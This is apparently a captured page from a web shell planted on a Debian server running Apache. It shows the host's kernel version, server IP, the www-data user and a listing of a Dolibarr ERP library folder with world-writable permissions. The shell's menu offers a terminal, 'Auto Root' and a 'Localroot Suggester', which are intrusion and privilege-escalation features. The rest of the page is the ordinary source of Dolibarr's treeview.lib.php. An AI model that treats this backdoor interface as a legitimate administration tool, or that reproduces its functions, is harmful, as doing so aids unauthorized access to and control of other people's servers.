Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
ctm.bdcloud.fr /
core /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
accounting.lib.php
7.1
KB
-rwxrwxrwx
2020-09-03 11:40
admin.lib.php
67.04
KB
-rwxrwxrwx
2020-09-03 11:40
agenda.lib.php
19.79
KB
-rwxrwxrwx
2020-09-03 11:40
ajax.lib.php
27.07
KB
-rwxrwxrwx
2020-09-03 11:40
asset.lib.php
4.77
KB
-rwxrwxrwx
2020-09-03 11:40
bank.lib.php
13.27
KB
-rwxrwxrwx
2020-09-03 11:40
barcode.lib.php
13.96
KB
-rwxrwxrwx
2020-09-03 11:40
categories.lib.php
3.29
KB
-rwxrwxrwx
2020-09-03 11:40
company.lib.php
78.85
KB
-rwxrwxrwx
2020-09-03 11:40
contact.lib.php
4.51
KB
-rwxrwxrwx
2020-09-03 11:40
contract.lib.php
4.78
KB
-rwxrwxrwx
2020-09-03 11:40
cron.lib.php
4.41
KB
-rwxrwxrwx
2020-09-03 11:40
date.lib.php
32.52
KB
-rwxrwxrwx
2020-09-03 11:40
doc.lib.php
6.65
KB
-rwxrwxrwx
2020-09-03 11:40
doleditor.lib.php
4.29
KB
-rwxrwxrwx
2020-09-03 11:40
donation.lib.php
3.6
KB
-rwxrwxrwx
2020-09-03 11:40
ecm.lib.php
3.87
KB
-rwxrwxrwx
2020-09-03 11:40
emailing.lib.php
2.25
KB
-rwxrwxrwx
2020-09-03 11:40
expedition.lib.php
3.8
KB
-rwxrwxrwx
2020-09-03 11:40
expensereport.lib.php
5.68
KB
-rwxrwxrwx
2020-09-03 11:40
fichinter.lib.php
6.46
KB
-rwxrwxrwx
2020-09-03 11:40
files.lib.php
109.6
KB
-rwxrwxrwx
2020-09-03 11:40
fiscalyear.lib.php
1.86
KB
-rwxrwxrwx
2020-09-03 11:40
format_cards.lib.php
2.87
KB
-rwxrwxrwx
2020-09-03 11:40
fourn.lib.php
8.34
KB
-rwxrwxrwx
2020-09-03 11:40
functions.lib.php
342.91
KB
-rwxrwxrwx
2020-09-03 11:40
functions2.lib.php
97.92
KB
-rwxrwxrwx
2020-09-03 11:40
functions_ch.lib.php
3.43
KB
-rwxrwxrwx
2020-09-03 11:40
functionsnumtoword.lib.php
9.55
KB
-rwxrwxrwx
2020-09-03 11:40
geturl.lib.php
8.86
KB
-rwxrwxrwx
2020-09-03 11:40
holiday.lib.php
3.38
KB
-rwxrwxrwx
2020-09-03 11:40
hrm.lib.php
2.86
KB
-rwxrwxrwx
2020-09-03 11:40
images.lib.php
22.6
KB
-rwxrwxrwx
2020-09-03 11:40
import.lib.php
1.76
KB
-rwxrwxrwx
2020-09-03 11:40
index.html
0
B
-rwxrwxrwx
2020-09-03 11:40
invoice.lib.php
7.29
KB
-rwxrwxrwx
2020-09-03 11:40
invoice2.lib.php
9.1
KB
-rwxrwxrwx
2020-09-03 11:40
json.lib.php
11.5
KB
-rwxrwxrwx
2020-09-03 11:40
ldap.lib.php
5.19
KB
-rwxrwxrwx
2020-09-03 11:40
loan.lib.php
3.06
KB
-rwxrwxrwx
2020-09-03 11:40
mailmanspip.lib.php
1.32
KB
-rwxrwxrwx
2020-09-03 11:40
member.lib.php
10.02
KB
-rwxrwxrwx
2020-09-03 11:40
memory.lib.php
7.61
KB
-rwxrwxrwx
2020-09-03 11:40
modulebuilder.lib.php
13.53
KB
-rwxrwxrwx
2020-09-03 11:40
multicurrency.lib.php
1.37
KB
-rwxrwxrwx
2020-09-03 11:40
oauth.lib.php
6.76
KB
-rwxrwxrwx
2020-09-03 11:40
order.lib.php
5.6
KB
-rwxrwxrwx
2020-09-03 11:40
parsemd.lib.php
2.72
KB
-rwxrwxrwx
2020-09-03 11:40
payments.lib.php
13.58
KB
-rwxrwxrwx
2020-09-03 11:40
pdf.lib.php
96.2
KB
-rwxrwxrwx
2020-09-03 11:40
prelevement.lib.php
2.75
KB
-rwxrwxrwx
2020-09-03 11:40
price.lib.php
20.88
KB
-rwxrwxrwx
2020-09-03 11:40
product.lib.php
21.16
KB
-rwxrwxrwx
2020-09-03 11:40
project.lib.php
85.55
KB
-rwxrwxrwx
2020-09-03 11:40
propal.lib.php
5.26
KB
-rwxrwxrwx
2020-09-03 11:40
receiptprinter.lib.php
2.28
KB
-rwxrwxrwx
2020-09-03 11:40
reception.lib.php
3.69
KB
-rwxrwxrwx
2020-09-03 11:40
report.lib.php
3.77
KB
-rwxrwxrwx
2020-09-03 11:40
resource.lib.php
4.67
KB
-rwxrwxrwx
2020-09-03 11:40
salaries.lib.php
3.56
KB
-rwxrwxrwx
2020-09-03 11:40
security.lib.php
28.72
KB
-rwxrwxrwx
2020-09-03 11:40
security2.lib.php
17.23
KB
-rwxrwxrwx
2020-09-03 11:40
sendings.lib.php
16.17
KB
-rwxrwxrwx
2020-09-03 11:40
signature.lib.php
2.81
KB
-rwxrwxrwx
2020-09-03 11:40
stock.lib.php
3.67
KB
-rwxrwxrwx
2020-09-03 11:40
supplier_proposal.lib.php
4.84
KB
-rwxrwxrwx
2020-09-03 11:40
takepos.lib.php
1.71
KB
-rwxrwxrwx
2020-09-03 11:40
tax.lib.php
49.74
KB
-rwxrwxrwx
2020-09-03 11:40
ticket.lib.php
39.14
KB
-rwxrwxrwx
2020-09-03 11:40
treeview.lib.php
9.22
KB
-rwxrwxrwx
2020-09-03 11:40
trip.lib.php
2
KB
-rwxrwxrwx
2020-09-03 11:40
usergroups.lib.php
40.14
KB
-rwxrwxrwx
2020-09-03 11:40
vat.lib.php
2.54
KB
-rwxrwxrwx
2020-09-03 11:40
website.lib.php
40.42
KB
-rwxrwxrwx
2020-09-03 11:40
website2.lib.php
17.71
KB
-rwxrwxrwx
2020-09-03 11:40
ws.lib.php
3.49
KB
-rwxrwxrwx
2020-09-03 11:40
xcal.lib.php
19.59
KB
-rwxrwxrwx
2020-09-03 11:40
Save
Rename
<?php /* Copyright (C) 2007 Patrick Raguin <patrick.raguin@gmail.com> * Copyright (C) 2007-2012 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/core/lib/treeview.lib.php * \ingroup core * \brief Libraries for tree views */ // ------------------------------- Used by ajax tree view ----------------- /** * Show indent and picto of a tree line. Return array with information of line. * * @param array $fulltree Array of entries in correct order * @param string $key Key of entry into fulltree to show picto * @param int $silent Do not output indent and picto, returns only value * @return integer[] array(0 or 1 if at least one of this level after, 0 or 1 if at least one of higher level after, nbofdirinsub, nbofdocinsub) */ function tree_showpad(&$fulltree, $key, $silent = 0) { $pos=1; // Loop on each pos, because we will output an img for each pos while ($pos <= $fulltree[$key]['level'] && $fulltree[$key]['level'] > 0) { // Process for column $pos $atleastoneofthislevelafter=0; $nbofdirinsub=0; $nbofdocinsub=0; $found=0; //print 'x'.$key; foreach($fulltree as $key2 => $val2) { //print "x".$pos." ".$key2." ".$found." ".$fulltree[$key2]['level']; if ($found == 1) // We are after the entry to show { if ($fulltree[$key2]['level'] > $pos) { $nbofdirinsub++; if (isset($fulltree[$key2]['cachenbofdoc']) && $fulltree[$key2]['cachenbofdoc'] > 0) $nbofdocinsub+=$fulltree[$key2]['cachenbofdoc']; } if ($fulltree[$key2]['level'] == $pos) { $atleastoneofthislevelafter=1; } if ($fulltree[$key2]['level'] <= $pos) { break; } } if ($key2 == $key) // We found ourself, so now every lower level will be counted { $found=1; } } //print $atleastoneofthislevelafter; if (! $silent) { if ($atleastoneofthislevelafter) { if ($fulltree[$key]['level'] == $pos) print img_picto_common('', 'treemenu/branch.gif'); else print img_picto_common('', 'treemenu/line.gif'); } else { if ($fulltree[$key]['level'] == $pos) print img_picto_common('', 'treemenu/branchbottom.gif'); else print img_picto_common('', 'treemenu/linebottom.gif'); } } $pos++; } return array($atleastoneofthislevelafter,$nbofdirinsub,$nbofdocinsub); } // ------------------------------- Used by menu editor, category view, ... ----------------- /** * Recursive function to output a tree. <ul id="iddivjstree"><li>...</li></ul> * It is also used for the tree of categories. * Note: To have this function working, check you have loaded the js and css for treeview. * $arrayofjs=array('/includes/jquery/plugins/jquerytreeview/jquery.treeview.js', * '/includes/jquery/plugins/jquerytreeview/lib/jquery.cookie.js'); * $arrayofcss=array('/includes/jquery/plugins/jquerytreeview/jquery.treeview.css'); * TODO Replace with jstree plugin instead of treeview plugin. * * @param array $tab Array of all elements * @param array $pere Array with parent ids ('rowid'=>,'mainmenu'=>,'leftmenu'=>,'fk_mainmenu=>,'fk_leftmenu=>) * @param int $rang Level of element * @param string $iddivjstree Id to use for parent ul element * @param int $donoresetalreadyloaded Do not reset global array $donoresetalreadyloaded used to avoid to go down on an aleady processed record * @param int $showfk 1=show fk_links to parent into label (used by menu editor only) * @return void */ function tree_recur($tab, $pere, $rang, $iddivjstree = 'iddivjstree', $donoresetalreadyloaded = 0, $showfk = 0) { global $tree_recur_alreadyadded, $menu_handler_to_search; if ($rang == 0 && empty($donoresetalreadyloaded)) $tree_recur_alreadyadded=array(); if ($rang == 0) { // Test also done with jstree and dynatree (not able to have <a> inside label) print '<script type="text/javascript" language="javascript"> $(document).ready(function(){ $("#'.$iddivjstree.'").treeview({ collapsed: true, animated: "fast", persist: "cookie", control: "#'.$iddivjstree.'control", toggle: function() { /* window.console && console.log("%o was toggled", this); */ } }); }) </script>'; print '<ul id="'.$iddivjstree.'">'; } if ($rang > 50) { return; // Protect against infinite loop. Max 50 depth } //ballayage du tableau $sizeoftab=count($tab); $ulprinted=0; for ($x=0; $x < $sizeoftab; $x++) { //var_dump($tab[$x]);exit; // If an element has $pere for parent if ($tab[$x]['fk_menu'] != -1 && $tab[$x]['fk_menu'] == $pere['rowid']) { //print 'rang='.$rang.'-x='.$x." rowid=".$tab[$x]['rowid']." tab[x]['fk_leftmenu'] = ".$tab[$x]['fk_leftmenu']." leftmenu pere = ".$pere['leftmenu']."<br>\n"; if (empty($ulprinted) && ! empty($pere['rowid'])) { if (! empty($tree_recur_alreadyadded[$tab[$x]['rowid']])) { dol_syslog('Error, record with id '.$tab[$x]['rowid'].' seems to be a child of record with id '.$pere['rowid'].' but it was already output. Complete field "leftmenu" and "mainmenu" on ALL records to avoid ambiguity.', LOG_WARNING); continue; } print '<ul'.(empty($pere['rowid'])?' id="treeData"':'').'>'; $ulprinted++; } print "\n".'<li '.($tab[$x]['statut']?' class="liuseractive"':'class="liuserdisabled"').'>'; if ($showfk) { print '<table class="nobordernopadding centpercent"><tr><td>'; print '<strong> '; print $tab[$x]['title']; print ' (fk_mainmenu='.$tab[$x]['fk_mainmenu'].' fk_leftmenu='.$tab[$x]['fk_leftmenu'].')'; print '</td><td class="right">'; print $tab[$x]['buttons']; print '</td></tr></table>'; } else { print $tab[$x]['entry']; } //print ' -> A '.$tab[$x]['rowid'].' mainmenu='.$tab[$x]['mainmenu'].' leftmenu='.$tab[$x]['leftmenu'].' fk_mainmenu='.$tab[$x]['fk_mainmenu'].' fk_leftmenu='.$tab[$x]['fk_leftmenu'].'<br>'."\n"; $tree_recur_alreadyadded[$tab[$x]['rowid']]=($rang + 1); // And now we search all its sons of lower level tree_recur($tab, $tab[$x], $rang+1, 'iddivjstree', 0, $showfk); print '</li>'; } elseif (! empty($tab[$x]['rowid']) && $tab[$x]['fk_menu'] == -1 && $tab[$x]['fk_mainmenu'] == $pere['mainmenu'] && $tab[$x]['fk_leftmenu'] == $pere['leftmenu']) { //print 'rang='.$rang.'-x='.$x." rowid=".$tab[$x]['rowid']." tab[x]['fk_leftmenu'] = ".$tab[$x]['fk_leftmenu']." leftmenu pere = ".$pere['leftmenu']."<br>\n"; if (empty($ulprinted) && ! empty($pere['rowid'])) { if (! empty($tree_recur_alreadyadded[$tab[$x]['rowid']])) { dol_syslog('Error, record with id '.$tab[$x]['rowid'].' seems to be a child of record with id '.$pere['rowid'].' but it was already output. Complete field "leftmenu" and "mainmenu" on ALL records to avoid ambiguity.', LOG_WARNING); //print 'Error, record with id '.$tab[$x]['rowid'].' seems to be a child of record with id '.$pere['rowid'].' but it was already output. Complete field "leftmenu" and "mainmenu" on ALL records to avoid ambiguity.'; continue; } print '<ul'.(empty($pere['rowid'])?' id="treeData"':'').'>'; $ulprinted++; } print "\n".'<li '.($tab[$x]['statut']?' class="liuseractive"':'class="liuserdisabled"').'>'; if ($showfk) { print '<table class="nobordernopadding centpercent"><tr><td>'; print '<strong> <a href="edit.php?menu_handler='.$menu_handler_to_search.'&action=edit&menuId='.$tab[$x]['rowid'].'">'; print $tab[$x]['title']; print '</a></strong>'; print ' (mainmenu='.$tab[$x]['mainmenu'].' leftmenu='.$tab[$x]['leftmenu'].' - fk_mainmenu='.$tab[$x]['fk_mainmenu'].' fk_leftmenu='.$tab[$x]['fk_leftmenu'].')'; print '</td><td class="right">'; print $tab[$x]['buttons']; print '</td></tr></table>'; } else { print $tab[$x]['entry']; } //print ' -> B '.$tab[$x]['rowid'].' mainmenu='.$tab[$x]['mainmenu'].' leftmenu='.$tab[$x]['leftmenu'].' fk_mainmenu='.$tab[$x]['fk_mainmenu'].' fk_leftmenu='.$tab[$x]['fk_leftmenu'].'<br>'."\n"; $tree_recur_alreadyadded[$tab[$x]['rowid']]=($rang + 1); // And now we search all its sons of lower level //print 'Call tree_recur for x='.$x.' rowid='.$tab[$x]['rowid']." fk_mainmenu pere = ".$tab[$x]['fk_mainmenu']." fk_leftmenu pere = ".$tab[$x]['fk_leftmenu']."<br>\n"; tree_recur($tab, $tab[$x], $rang+1, 'iddivjstree', 0, $showfk); print '</li>'; } } if (! empty($ulprinted) && ! empty($pere['rowid'])) { print '</ul>'."\n"; } if ($rang == 0) print '</ul>'; }